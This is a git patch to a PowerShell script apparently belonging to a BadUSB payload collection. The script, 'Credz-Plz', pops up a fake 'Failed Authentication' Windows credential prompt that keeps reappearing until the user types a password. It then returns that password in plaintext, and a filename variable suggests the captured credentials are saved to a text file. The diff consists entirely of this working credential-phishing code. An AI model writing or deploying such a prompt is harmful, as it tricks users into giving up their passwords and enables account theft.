From d0eb312f87b2c58ab1d7d9bef46ba418ed271d1d Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Wed, 24 May 2023 14:33:35 -0500 Subject: [PATCH] Update Credz-Plz.ps1 --- Payloads/Flip-Credz-Plz/Credz-Plz.ps1 | 47 ++++++++++++++------------- 1 file changed, 25 insertions(+), 22 deletions(-) diff --git a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 index e391e24..1eb27f2 100644 --- a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 +++ b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 @@ -53,31 +53,34 @@ $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt" function Get-Creds { -$form = $null + $form = $null -while ($form -eq $null) -{ - $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); - $cred.getnetworkcredential().password - - if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) + while ($form -eq $null) { - Add-Type -AssemblyName PresentationCore,PresentationFramework - $msgBody = "Credentials cannot be empty!" - $msgTitle = "Error" - $msgButton = 'Ok' - $msgImage = 'Stop' - $Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage) - Write-Host "The user clicked: $Result" - $form = $null - } - - else{ - $creds = $cred.GetNetworkCredential() | fl - return $creds - } -} + $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); + $cred.getnetworkcredential().password + if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) + { + if(-not ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule -like "*PresentationCore*" -or $_.ManifestModule -like "*PresentationFramework*" })) + { + Add-Type -AssemblyName PresentationCore,PresentationFramework + } + + $msgBody = "Credentials cannot be empty!" + $msgTitle = "Error" + $msgButton = 'Ok' + $msgImage = 'Stop' + $Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage) + Write-Host "The user clicked: $Result" + $form = $null + } + + else{ + $creds = $cred.GetNetworkCredential() | fl + return $creds + } + } } #----------------------------------------------------------------------------------------------------